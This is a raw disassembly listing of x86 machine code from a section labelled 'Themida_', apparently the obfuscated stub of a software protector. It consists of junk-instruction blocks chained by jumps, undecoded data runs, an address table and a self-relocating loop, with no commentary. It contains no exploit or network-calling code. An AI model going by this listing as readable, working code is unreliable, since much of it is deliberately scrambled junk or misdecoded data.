dd 55E08924h, 4045B850h, 0E8C16CB2h, 31484807h, 31C331D8h
dd 93D3F7D8h, 5608E0C1h, 6E91BB53h, 0E3D14E79h, 0A9F3EB81h
dd 0DE898F6Eh, 67BD555Bh, 927EA16h, 4E95DEEh, 5EFFFF8Eh
dd 0FFCDDEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551D79: ; CODE XREF: Themida_:0054ED03j
mov ebx, 7F8C622Bh
or ebx, 79002DB1h
push ebp
jmp loc_551A58
; ---------------------------------------------------------------------------
dw 28BDh
dd 813D370Ch, 3E11A7EAh, 57EA297Eh, 0A122FCBFh, 0B2BA5279h
dd 51652178h, 92FBA52h, 0D1893F0Dh, 47C1815Ah, 212F7848h
dd 0C28159CAh, 0D874155Ah, 0B6E9D731h
db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551DC3: ; CODE XREF: Themida_:00550F15j
movzx eax, al
push dword ptr [edi+eax*4]
push 13D1h
mov [esp], ebx
jmp loc_54C3C1
; ---------------------------------------------------------------------------
dw 0E389h
dd 63D4BF57h, 0F7814B7Ah, 4B7A63D0h, 0FFAB85E9h, 5FE954FFh
db 5Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551DEF: ; CODE XREF: Themida_:00549D2Ej
add edi, 7B0B2193h
dec edi
push eax
mov eax, 34EF690Fh
jmp loc_54E7FF
; ---------------------------------------------------------------------------
db 66h, 0Fh, 0A3h
dd 0E99C2404h, 0FFFF43FEh, 66A6CD81h, 0C5E90E2Bh, 0FFFFFFA0h
dd 5B042474h, 8B24048Fh, 0F662424h, 9C2404BBh, 0FF43DDE9h
dd 81EDD1FFh, 0E919BBCDh, 31DD311Fh, 0F7DD31EBh, 81DD87D3h
dd 0DD4629C5h, 98E8E940h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551E4A: ; CODE XREF: Themida_:00546BDDj
pop edx
xor ecx, edi
pop edi
jmp loc_551333
; ---------------------------------------------------------------------------
loc_551E53: ; CODE XREF: Themida_:0054A68Bj
push ecx
mov ecx, 0A125580h
add [esp+4], ecx
pop ecx
sub [esp], eax
jmp loc_54C2B9
; ---------------------------------------------------------------------------
dw 0EB81h
dd 2D8D2478h, 0C381CB01h, 2D8D2478h, 81240C8Bh, 4C4h, 0E930FF00h
dd 0FFFF4386h, 0A6E9CB31h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551E8B: ; CODE XREF: Themida_:00546823j
push ebx
pop ebp
pop ebx
jmp loc_548D0A
; ---------------------------------------------------------------------------
db 0F7h
dd 5CBD55D7h, 3167CA18h, 59F5E9EFh, 0C89FFFFh, 31BE5624h
dd 0E96D0ED4h, 0FFFFAADAh, 0CBE9D801h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551EB7: ; CODE XREF: Themida_:00552766j
mov ecx, esp
add ecx, 4
jmp loc_54FB3F
; ---------------------------------------------------------------------------
dd 5056E189h, 0FF9386E9h, 4338E9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551ED2: ; CODE XREF: Themida_:0054694Bj
mov [esp], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_54DBCF
; ---------------------------------------------------------------------------
db 89h, 0E7h, 55h
dd 68676FBDh, 1ED8308h, 9D4ED81h, 57564458h, 7833BD55h
dd 0DDF73EFEh, 1884C581h, 0F5816C90h, 747645h, 0ED6FF581h
dd 0EF894BFAh, 7DBA525Dh, 12A5051h, 24148BD7h, 6D4E9h
dd 14F75300h, 43435B24h, 4872CB81h, 0C3811315h, 2002208Eh
dd 63E2EF81h, 0E9560E26h, 0FFFF7BFFh, 83241C8Bh, 55B04C4h
dd 2, 31240433h, 5CE92404h, 0F6FFFFA2h, 5B012454h, 32243C30h
dd 3C30243Ch, 429CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551F6E: ; CODE XREF: Themida_:0054C908j
push small word ptr [eax]
jmp loc_54620A
; ---------------------------------------------------------------------------
dw 0DE31h
dd 0F0A1E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551F7E: ; CODE XREF: Themida_:0054D971j
push 1978h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push 1E16h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
add ebx, eax
jmp loc_5481BC
; ---------------------------------------------------------------------------
loc_551FAC: ; CODE XREF: Themida_:00546FF1j
mov ecx, [esp]
jmp loc_54C114
; ---------------------------------------------------------------------------
loc_551FB4: ; CODE XREF: Themida_:00548D67j
pop edx
and eax, ebx
push dword ptr [esp]
jmp loc_55230F
; ---------------------------------------------------------------------------
db 5
dd 4, 932E9h
db 0
; ---------------------------------------------------------------------------
loc_551FC9: ; CODE XREF: Themida_:0054E017j
sub ebp, edx
jmp loc_54C75A
; ---------------------------------------------------------------------------
dd 0D1F7D1F7h, 82C18141h, 1C02BBEh, 0BA76E9CEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551FE2: ; CODE XREF: Themida_:0054AB51j
sub dl, cl
pop cx
sub bl, dl
push dword ptr [esp]
pop edx
add esp, 4
movzx eax, al
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp], eax
push 100465DEh
pop eax
add dword ptr [esp+4], 643B01CFh
add [esp+4], eax
sub dword ptr [esp+4], 643B01CFh
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_54DC5B
; ---------------------------------------------------------------------------
dw 0EE81h
dd 0C384099h, 0B20EE81h, 0F189237Bh, 0FFF870E9h, 24248BFFh
dd 0FF8DB1E9h, 0B704ACFFh, 0C034B252h, 55E907E2h, 29FFFF83h
dd 5AD189CAh, 0C181D1F7h, 9F22808Fh, 0FFFE1FE9h, 48B66FFh
dd 41606824h, 3C890000h, 0FE6FE924h, 0C781FFFFh, 4, 2474FF57h
dd 0BEEEE904h, 2C89FFFFh, 241C8724h, 1C87D3F7h, 242C8B24h
dd 0C104C483h, 0D5F704EDh, 132DBF57h, 0E7C14125h, 0EFE78104h
dd 4F431437h, 0FFBB09E9h, 0E18951FFh, 4C181h, 0C1810000h
dd 4, 0FFAC67E9h, 0D831ADFFh, 0FF41C1E9h, 773768FFh, 685D3656h
dd 253Ah, 0FFFFA9E9h, 8B6664FFh, 0EEA5E902h, 5E68FFFFh
dd 8900005Bh, 0E954243Ch, 0FFFF9D40h, 0C0E9DA29h, 81FFFFD7h
dd 4C5h, 4BB5300h, 1000000h, 68E95BDDh
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55210F: ; CODE XREF: Themida_:0054DCD5j
xor edx, edi
xor eax, edx
xor edx, eax
xor eax, edx
jmp loc_550FE2
; ---------------------------------------------------------------------------
dd 24148B5Bh, 81E18951h, 4C1h, 9ED9E900h, 248BFFFFh, 24042824h
dd 40D0E99Ch, 0F800FFFFh, 0FFCB51E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552141: ; CODE XREF: Themida_:0054DF05j
xchg edx, ebp
jmp loc_551B59
; ---------------------------------------------------------------------------
dd 0C681E689h, 4, 4C681h, 34870000h, 3885C24h, 8B2434FFh
dd 0C483241Ch, 4C48304h, 0FFA887E9h, 68D301FFh, 40E2h
dd 0E9243C89h, 0FFFF9161h
; ---------------------------------------------------------------------------
loc_55217C: ; CODE XREF: Themida_:0054F531j
or eax, 785F5298h
xor eax, esi
xor esi, eax
xor eax, esi
xchg ecx, esi
push 766Bh
mov [esp], ecx
jmp loc_548037
; ---------------------------------------------------------------------------
loc_552196: ; CODE XREF: Themida_:0054AEE6j
pop ebx
jmp loc_54A354
; ---------------------------------------------------------------------------
dd 0CA0032B1h, 8BD30059h, 83572414h, 248904ECh, 24048324h
dd 0C7815F04h, 4, 8704C783h, 248B243Ch, 5F89E924h, 0D3F7FFFFh
dd 449C381h, 18E903E3h, 0B5FFFF52h, 66E8004Ah, 0E9D80059h
dd 5F3h, 0E9243489h, 0FFFFA3D2h
; ---------------------------------------------------------------------------
loc_5521E8: ; CODE XREF: Themida_:0054D3F8j
push 5762h
mov [esp], ecx
not byte ptr [esp]
pop ecx
add cl, 0F0h
sub cl, 5Dh
push edx
mov dh, 0E0h
or dh, 2Ch
inc dh
or dh, 0EDh
sub dh, 16h
and cl, dh
pop edx
add cl, 1
xor cl, 28h
sub bh, cl
mov ecx, [esp]
add esp, 4
xor bh, 80h
sub bh, 0ECh
inc bh
push eax
mov al, 36h
jmp loc_54F8C1
; ---------------------------------------------------------------------------
loc_55222C: ; CODE XREF: Themida_:00547BD8j
pop ebx
jmp loc_551914
; ---------------------------------------------------------------------------
dw 0C981h
dd 349E6CA3h, 0E905E1C1h, 0FFFFC2DDh, 56241C8Bh, 0FFB5BFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552249: ; CODE XREF: Themida_:0054D6E0j
push ecx
mov ch, 98h
jmp loc_546D6D
; ---------------------------------------------------------------------------
db 50h, 0E9h, 26h
db 3, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552257: ; CODE XREF: Themida_:0054D7BDj
mov ecx, [ebx]
pop ebx
jmp loc_54A8B0
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812434h, 4, 4EC81h, 3E90000h, 59FFFFB7h, 551268h
dd 24348900h, 42474FFh, 0E924348Bh, 0FFFFEFDBh
; ---------------------------------------------------------------------------
loc_552288: ; CODE XREF: Themida_:00551B30j
pop ebp
and eax, edi
jmp loc_546B50
; ---------------------------------------------------------------------------
dd 2BB53h, 0D9010000h, 74FF515Bh, 8F590424h, 665C2404h
dd 6866F1F7h, 896602D0h, 50662414h, 3F54E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5522B6: ; CODE XREF: Themida_:0054DFBDj
inc esi
sub esi, 0EE36ED63h
push 4C0Bh
mov [esp], esi
mov edx, [esp]
add esp, 4
mov esi, [esp]
add esp, 4
xor eax, edx
pop edx
push ebx
push ebp
push 0E47270Ah
pop ebp
push ebp
mov ebx, [esp]
add esp, 4
pop ebp
push esi
mov esi, 22C2A11h
or esi, 120916A7h
sub esi, 367328C9h
shl esi, 3
xor esi, 0C253DCB7h
add esi, 3714B891h
xor ebx, esi
jmp loc_55087A
; ---------------------------------------------------------------------------
loc_55230F: ; CODE XREF: Themida_:00551FBAj
mov ebx, [esp]
jmp loc_54DCDA
; ---------------------------------------------------------------------------
db 54h
dd 0FF5CA1E9h, 0E95E54FFh, 0FFFF6887h, 70FEF381h, 0F381463Ch
dd 1E8E7A5Ah, 464E4E05h, 958DE978h, 0BF57FFFFh, 71246475h
dd 0DB9B8FBDh, 5FFD018Eh, 0FF9478E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55234D: ; CODE XREF: Themida_:0054FD0Ej
pop esi
mov edx, ecx
pop ecx
and ecx, edx
mov edx, [esp]
jmp loc_546D0E
; ---------------------------------------------------------------------------
db 0C0h
dd 0E18008E9h, 0C0C1FE42h, 3EE903E1h
db 83h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55236B: ; CODE XREF: Themida_:0054C902j
xor edi, [esp]
mov esp, [esp]
mov [esp], edx
push 3F6057ACh
jmp loc_54EBA0
; ---------------------------------------------------------------------------
dw 7804h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_54704D
; ---------------------------------------------------------------------------
dw 0EFC1h
dd 3E7C102h, 51C2EF81h, 0DFF75F30h, 2ECDEF81h, 0F989339Fh
dd 0C5EEE95Fh, 7721FFFFh, 2434FF1Ch, 0FFC115E9h, 48F5FFFh
dd 0F4E95C24h, 8BFFFFD4h, 2AE9241Ch, 5000001h, 4, 663B68h
dd 24348900h, 4BEh, 5EF00100h, 8B240487h, 23E92424h
db 3Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5523E7: ; CODE XREF: Themida_:0054C869j
add ebx, ecx
pop ecx
jmp loc_54ED62
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF3E16h, 0E200BDB4h, 0E9585866h, 245h, 0C9EE815Eh
dd 1003B34h, 0E321E9D6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55240E: ; CODE XREF: Themida_:0054B099j
push ebx
mov ebx, 66C364ABh
sub ebx, 3D554314h
neg ebx
jmp loc_5466F9
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0DAh
dd 81606D7Eh, 70F54EDh, 2C875826h, 83535C24h, 0EBE904ECh
dd 29FFFFEFh, 9EF81DFh, 5B12DF7Eh, 1C07BD55h, 0E8017288h
dd 81242C8Bh, 4C4h, 29712D00h, 0F8014BF1h, 0F1297105h
dd 0A15BE94Bh, 0D0F7FFFFh, 3505E8C1h, 17E643D3h, 0FF71CBE9h
dd 4C481FFh, 5E000000h, 34FFD021h, 24148B24h, 0FF60B4E9h
dd 240483FFh, 8E0BE904h, 3568FFFFh, 89000061h, 4812424h
dd 424h, 2434FF00h, 0FFD1ECE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5524A9: ; CODE XREF: Themida_:005468B1j
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_54620A
; ---------------------------------------------------------------------------
dd 5E545658h, 4B850h, 0C6010000h, 8324048Bh, 0A4E904C4h
dd 0F7FFFF71h, 0A1F781DFh, 218F86DBh, 3F7AE9F9h, 0C681FFFFh
dd 21B159BEh, 0BA52CE01h, 410D6764h, 0FFEA29E9h, 0E68956FFh
dd 4C681h, 0C6830000h, 74FF5604h, 0E95E0424h, 0FFFF5A22h
dd 57D831ADh, 8C2321BFh, 47DFF714h, 0FF82A8E9h, 0B4E95BFFh
dd 64FFFF5Fh, 0E2E932FFh, 89FFFF91h, 0EF682434h, 0E900007Bh
dd 0FFFF7F4Ch, 592434FFh, 3BD68h, 243C8900h, 0FFE33BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552545: ; CODE XREF: Themida_:0054DAD9j
mov eax, 68F508B8h
push 484Fh
jmp loc_54F526
; ---------------------------------------------------------------------------
dd 7463E681h, 0EE815152h, 3DC9537Ch, 435EF389h, 0FF3F32E9h
dd 30160DFFh, 0A90D3F07h, 52CC87Ch, 0AE2DC1Dh, 0FF4173E9h
dd 0E9E089FFh, 0FFFF60E5h
; ---------------------------------------------------------------------------
loc_552584: ; CODE XREF: Themida_:0054ECBBj
mov ebp, ebx
pop ebx
jmp loc_54BBB3
; ---------------------------------------------------------------------------
loc_55258C: ; CODE XREF: Themida_:0054AEFDj
mov ebx, [esp]
jmp loc_54C1C6
; ---------------------------------------------------------------------------
dd 47E9F729h, 88FFFF6Ah, 885B66FCh, 0FE5866E6h, 52F680C6h
dd 685AF000h, 6576h, 0B0240489h, 52710CBDh, 0B450B3B2h
dd 5DEC802Dh, 8004ECC0h, 0E22821ECh, 5AD00058h, 53512304h
dd 0DD88FEB3h, 0FF68B1E9h, 22C468FFh, 44E90000h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5525E3: ; CODE XREF: Themida_:00548E99j
add esp, 4
add esp, 4
or eax, eax
jz loc_54A175
push dword ptr [edi+1Ch]
jmp loc_550E00
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 0FFFF3FE2h
; ---------------------------------------------------------------------------
loc_552604: ; CODE XREF: Themida_:005509ADj
push dword ptr [esp+4]
jmp loc_54E988
; ---------------------------------------------------------------------------
loc_55260D: ; CODE XREF: Themida_:0054B119j
xor ebp, 2529A3FCh
xor esi, ebp
pop ebp
jmp loc_54770B
; ---------------------------------------------------------------------------
db 55h
dd 0FFC8C3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552621: ; CODE XREF: Themida_:0054A35Ej
mov esi, 3A15661Fh
sub [esp+4], esi
jmp loc_54F89B
; ---------------------------------------------------------------------------
db 49h
dd 0FFCAC7E9h, 2474FFFFh, 48F5804h, 24248B24h, 0FF4F9BE9h
dd 30CA30FFh, 0E9CA30D1h, 0FFFFE380h
; ---------------------------------------------------------------------------
loc_552650: ; CODE XREF: Themida_:0054DFF8j
mov ah, bl
jmp loc_5465DC
; ---------------------------------------------------------------------------
loc_552657: ; CODE XREF: Themida_:0054F5EDj
push eax
jmp loc_546423
; ---------------------------------------------------------------------------
db 31h, 0CAh, 59h
dd 0DBB5352h, 292C490Eh, 8B04245Ch, 0C483241Ch, 20478F04h
dd 0FF4D30E9h, 0F7E987FFh, 0E9E987DDh, 0FFFF7226h, 0BD55E289h
dd 4, 815DEA01h, 4EAh, 24148700h, 2434895Ch, 4EC81h, 0F9E90000h
dd 66FFFFBDh, 66C140BFh, 5F66FA31h, 0FF6208E9h, 0E9028FFFh
dd 0FFFF3B4Eh
; ---------------------------------------------------------------------------
loc_5526BC: ; CODE XREF: Themida_:005505CFj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_54629F
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 0F7243C87h, 243C87D7h, 43E4E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5526DE: ; CODE XREF: Themida_:0054C03Fj
and ecx, 38B13AA1h
xor ecx, 7CFE536Fh
add ecx, 538E23B3h
xor ecx, 0A08D7D26h
jmp loc_551488
; ---------------------------------------------------------------------------
db 0FFh
dd 835A2434h, 0B95104C4h, 4, 5359CA01h, 6A1BF57h, 61BB2F36h
dd 1D0C9F9h, 0DA295FFBh, 2414335Bh, 33241431h, 47E92414h
dd 5BFFFFBCh, 4BA52h, 15E90000h, 68FFFF50h, 1, 0FFF291E9h
dd 242C87FFh
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
jmp loc_54A15D
; ---------------------------------------------------------------------------
loc_552759: ; CODE XREF: Themida_:00549BC7j
add esp, 4
add al, dl
mov dx, [esp]
push ecx
jmp loc_551EB7
; ---------------------------------------------------------------------------
loc_55276B: ; CODE XREF: Themida_:0054A443j
mov ebx, 5F43589Ch
or edx, ebx
pop ebx
xor edx, 15A71403h
inc edx
xor edx, 457941A8h
sub edx, 0F9653F22h
add esi, edx
pop edx
dec esi
push esi
jmp loc_546597
; ---------------------------------------------------------------------------
dd 83240C8Bh, 0A2C04C4h, 0A04C828h, 2C59202Ch, 91E6E9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5527A6: ; CODE XREF: Themida_:0054E111j
mov ecx, esp
add ecx, 4
jmp loc_54D013
; ---------------------------------------------------------------------------
db 87h
dd 535C241Ch, 0E7803CB7h, 1C780FDh, 0B450DFF6h, 0B753528Ah
dd 30BFB6B8h, 0C7E95BFEh, 51FFFF96h, 5266E0B5h, 0F530A8B6h
dd 0F5805A66h, 2EC83B0h, 241C8966h, 0FD30B2B7h, 1DE95B66h
db 43h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5527F3: ; CODE XREF: Themida_:00547260j
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_54D450
; ---------------------------------------------------------------------------
dw 0FF56h
dd 5E042474h, 0FFEE8EE9h, 814A5EFFh, 225F9FE2h, 44E95070h
dd 5AFFFFD3h, 0FE5BF930h, 2DE180C9h, 0B871E953h, 0E681FFFFh
dd 67154871h, 1F63E681h, 0E6C13444h, 94DFE903h, 21BAFFFFh
dd 296A4430h, 0EB815AD3h, 192C2807h, 41E9C329h
db 53h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552853: ; CODE XREF: Themida_:00546B5Ej
push edx
mov eax, [esp]
add esp, 4
jmp loc_54ED8B
; ---------------------------------------------------------------------------
loc_55285F: ; CODE XREF: Themida_:00547162j
mov esi, 0BCDFCFB7h
sub ebp, 3B82053h
add ebp, esi
add ebp, 3B82053h
mov esi, [esp]
add esp, 4
and eax, ebp
pop ebp
or eax, eax
jz loc_550C9B
push dword ptr [edi+1Ch]
push edi
mov edi, 17A9071Fh
not edi
shr edi, 3
push ebx
mov ebx, 5A607B03h
inc ebx
sub ebx, 0FFFFFFFFh
sub ebx, 281026A9h
xor edi, ebx
pop ebx
jmp loc_54CCDF
; ---------------------------------------------------------------------------
dd 24248B66h, 0FF3955E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5528B5: ; CODE XREF: Themida_:0054B62Fj
mov ah, 91h
add bl, ah
jmp loc_547F4D
; ---------------------------------------------------------------------------
dw 585Ch
dd 0E924148Bh, 0FFFFB1DAh, 941E84BAh, 0E9D62977h, 0FFFF518Eh
; ---------------------------------------------------------------------------
loc_5528D4: ; CODE XREF: Themida_:00548CFDj
mov edx, 800000h
jmp loc_546984
; ---------------------------------------------------------------------------
dw 815Eh
dd 0AE7413EAh, 67D1E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5528EA: ; CODE XREF: Themida_:00550A61j
sub ecx, 63526FEBh
jmp loc_547245
; ---------------------------------------------------------------------------
db 51h, 0E9h, 0C4h
dd 2DFFFF39h, 4, 0E9240487h, 0FFFF6C1Bh
; ---------------------------------------------------------------------------
loc_552908: ; CODE XREF: Themida_:005497C7j
dec ebx
neg ebx
inc ebx
jmp loc_54D965
; ---------------------------------------------------------------------------
dd offset dword_5AABC4
db 0B0h, 0FFh, 5Fh
dd 4FB3A501h, 6AE1CD77h, 0FFA774FAh, 5A5E9AFFh, 0D408EB00h
dd 21788h, 200h, 100h, 0
dd 6AE1CD00h, 0FAh, 4 dup(0)
dd 55DF6D00h, 55B16E00h, 554B5F00h, 557F6200h, 5550C800h
dd 56454D00h, 563D8F00h, 556DB300h, 565CD500h, 55C30C00h
dd 566D3700h, 5585F300h, 56448400h, 55DFD700h, 55ACDE00h
dd 55B73700h, 566E7A00h, 55997000h, 55E7A700h, 56552C00h
dd 56480D00h, 5606A100h, 558F5800h, 56510A00h, 55CBC800h
dd 56263700h, 55593D00h, 5602FF00h, 562C1D00h, 55ACFC00h
dd 566D9C00h, 55CE2800h, 56154600h, 561C3600h, 563C1300h
dd 56022000h, 565D4900h, 55FD9000h, 555DBD00h, 559F7500h
dd 55A53B00h, 560F1900h, 564A9800h, 55EF6900h, 5621AF00h
dd 55EEB800h, 55507E00h, 5554FD00h, 55379000h, 55D5BE00h
dd 567ED500h, 55D30000h, 562C6200h, 5660ED00h, 56601600h
dd 56443800h, 56341F00h, 56502A00h, 56523400h, 553D7400h
dd 55C5AA00h, 566BAA00h, 5568C900h, 565A5700h, 55469B00h
dd 55F6C300h, 5677DF00h, 55418700h, 56461C00h, 55C73C00h
dd 564F3500h, 55E13A00h, 56114200h, 55DB4200h, 5590A000h
dd 55F91A00h, 564E5900h, 55A11D00h, 561B6A00h, 563DA700h
dd 559B9300h, 565A2700h, 55EAFA00h, 5664EA00h, 564FAB00h
dd 5593F300h, 55EC1B00h, 561AA900h, 56052C00h, 55424600h
dd 55D0D200h, 55410300h, 55578500h, 55B25E00h, 55A4CD00h
dd 55AC2000h, 561F8600h, 56142D00h, 55879200h, 55523600h
dd 552FB200h, 559BBC00h, 55E37C00h, 56503E00h, 55414500h
dd 55F2F500h, 55AAD900h, 55DC3800h, 5659F400h, 55707A00h
dd 55496600h, 5567CD00h, 55C9F700h, 55C65000h, 56497600h
dd 555AAB00h, 561A1D00h, 55A56800h, 55591700h, 55AD8F00h
dd 557A2800h, 5680B000h, 5597FA00h, 5659D700h, 55C61F00h
dd 56262700h, 56212300h, 559F5800h, 55441200h, 55C69000h
dd 5561D900h, 55FA6C00h, 5530C800h, 562C9B00h, 558E1400h
dd 55A25900h, 56223F00h, 56240E00h, 562D7B00h, 55444600h
dd 566F0300h, 553CB900h, 55EADC00h, 563A4800h, 55E7D200h
dd 557C4400h, 56801600h, 5547BE00h, 564E1100h, 557F8700h
dd 562A8600h, 559FD500h, 564D9600h, 563A9700h, 55975500h
dd 55D6FC00h, 56596B00h, 566A4E00h, 55620800h, 55CE1800h
dd 55388E00h, 5532C800h, 5647FC00h, 55F68900h, 55CA9B00h
dd 55D0B200h, 566A7A00h
db 0
; ---------------------------------------------------------------------------
loc_552BF1: ; CODE XREF: Themida_:00593F7Fj
pusha
pushf
cld
call $+5
pop edi
sub edi, 5EA4A2Ch
mov eax, edi
add edi, 5EA4744h
cmp eax, [edi+2Ch]
jnz short loc_552C0F
jmp short loc_552C22
; ---------------------------------------------------------------------------
loc_552C0F: ; CODE XREF: Themida_:00552C0Bj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_552C1E
; ---------------------------------------------------------------------------
loc_552C19: ; CODE XREF: Themida_:00552C20j
add [edi+ecx*4+40h], eax
dec ecx
loc_552C1E: ; CODE XREF: Themida_:00552C17j
or ecx, ecx
jnz short loc_552C19
loc_552C22: ; CODE XREF: Themida_:00552C0Dj
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_552C2F: ; CODE XREF: Themida_:00552C36j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_552C2F
loc_552C38: ; CODE XREF: Themida_:loc_552D1Dj
; Themida_:0055529Aj ...
lodsb
sub esp, 4
mov [esp], ebx
mov bl, 0CBh
not bl
and bl, 0DEh
jmp loc_555E50
; ---------------------------------------------------------------------------
loc_552C4E: ; CODE XREF: Themida_:0056594Dj
add ebp, 5649076Eh
sub ebp, 121E6501h
jmp loc_5580AD
; ---------------------------------------------------------------------------
loc_552C5F: ; CODE XREF: Themida_:005578D7j
mov [esp], edx
sub esp, 4
push esp
jmp loc_5601C6
; ---------------------------------------------------------------------------
loc_552C6B: ; CODE XREF: Themida_:00560CCBj
not bh
sub bh, 0
sub al, bh
jmp loc_55B363
; ---------------------------------------------------------------------------
db 5
dd 4, 4CC968h, 242C8900h, 3DAE9h, 0B1516600h, 0E9C8286Eh
dd 8176h
; ---------------------------------------------------------------------------
loc_552C94: ; CODE XREF: Themida_:00561804j
mov esi, 210068BDh
push 794Eh
jmp loc_55D74D
; ---------------------------------------------------------------------------
db 0B2h
dd 284BB7C7h, 0FA285AD7h, 0E9D7885Bh, 66B3h, 0E95BF828h
dd 12FA2h, 6624248Bh, 66240C89h, 66C8B60Fh, 69E99C51h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552CCF: ; CODE XREF: Themida_:005554D0j
mov [esp], esi
push 0FEh
push dword ptr [esp]
push dword ptr [esp]
mov esi, [esp]
sub esp, 4
mov [esp], eax
jmp loc_561071
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24148900h, 4EC81h, 4890000h, 0B246E924h, 8F540000h
dd 50512404h, 4DE1E9h, 48F5E00h, 24248B24h, 9C243CD3h
dd 0A390E9h
db 0
; ---------------------------------------------------------------------------
loc_552D1D: ; CODE XREF: Themida_:00565CBEj
jmp loc_552C38
; ---------------------------------------------------------------------------
dw 5052h
dd 67F4B866h, 9EC1E9h
db 0
; ---------------------------------------------------------------------------
loc_552D2D: ; CODE XREF: Themida_:0055A9FDj
mov [esp], edi
mov edi, 35C8471Eh
push ecx
mov ecx, 75B335E8h
xor edi, ecx
pop ecx
jmp loc_56299D
; ---------------------------------------------------------------------------
db 68h
dd 4, 0E9C10158h, 731Fh, 0F0BF575Bh, 0E96D800Bh, 5DB4h
dd 0EC80F428h, 0E9515A4Bh, 2273h
; ---------------------------------------------------------------------------
loc_552D68: ; CODE XREF: Themida_:0055A837j
push ebp
not dword ptr [esp]
pop ebp
jmp loc_565E01
; ---------------------------------------------------------------------------
dw 0C89h
dd 0D287B924h, 0CF01314Bh, 8BFB3159h, 0C481243Ch, 4, 2A1BE56h
dd 0EEC112CEh, 9BC68104h, 811B2D64h, 4ECh, 243C8900h, 0B24861BFh
dd 16BE5632h, 2926B1CBh, 8E95EF7h, 0BB0000DDh, 4, 875BDF01h
dd 0FF5C243Ch, 48B2434h, 4C48124h, 68000000h, 21CCh, 89241C89h
dd 4C381E3h, 50000000h, 0FF7BE1B8h, 0EE07E97Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552DE6: ; CODE XREF: Themida_:00562409j
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push 4D4Ah
mov [esp], ebx
jmp loc_55BEA1
; ---------------------------------------------------------------------------
loc_552DFA: ; CODE XREF: Themida_:00559F87j
push dword ptr [esp]
mov edx, [esp]
push esi
jmp loc_553041
; ---------------------------------------------------------------------------
dw 0E901h
dd 0CE45E9h, 750A6800h, 4890000h, 4DE66824h, 5E90000h
db 0Bh, 1, 0
; ---------------------------------------------------------------------------
loc_552E1F: ; CODE XREF: Themida_:00556D30j
pop ecx
push ebx
mov ebx, 7A126B83h
sub ebx, 51243DD7h
sub edi, ebx
pop ebx
sub edi, esi
push esi
mov esi, 28EE2DACh
jmp loc_5633F6
; ---------------------------------------------------------------------------
loc_552E3C: ; CODE XREF: Themida_:00561C81j
pop ebx
jmp loc_56186F
; ---------------------------------------------------------------------------
dw 8141h
dd 0E91B8EE1h, 0E9D9F76Fh, 47B3h
; ---------------------------------------------------------------------------
loc_552E50: ; CODE XREF: Themida_:00554BB7j
add esp, 4
loc_552E56: ; CODE XREF: Themida_:00563725j
push eax
sub esp, 4
mov [esp], esp
jmp loc_5534B9
; ---------------------------------------------------------------------------
dw 0CF01h
dd 0E9240C8Bh, 788h
; ---------------------------------------------------------------------------
loc_552E6C: ; CODE XREF: Themida_:005668EDj
and al, 0A5h
jmp loc_5627B4
; ---------------------------------------------------------------------------
aRus db 'RUé;',0Bh,0
align 2
a1Zsk db '1ÑZékÁ',0
align 2
dw 0EC83h
dd 240C8904h, 5960BF57h, 0F9890585h, 53C1815Fh, 8152951Dh
dd 62BF9E1h, 0EAC98104h, 816A7A00h, 490396E9h, 2E9C138h
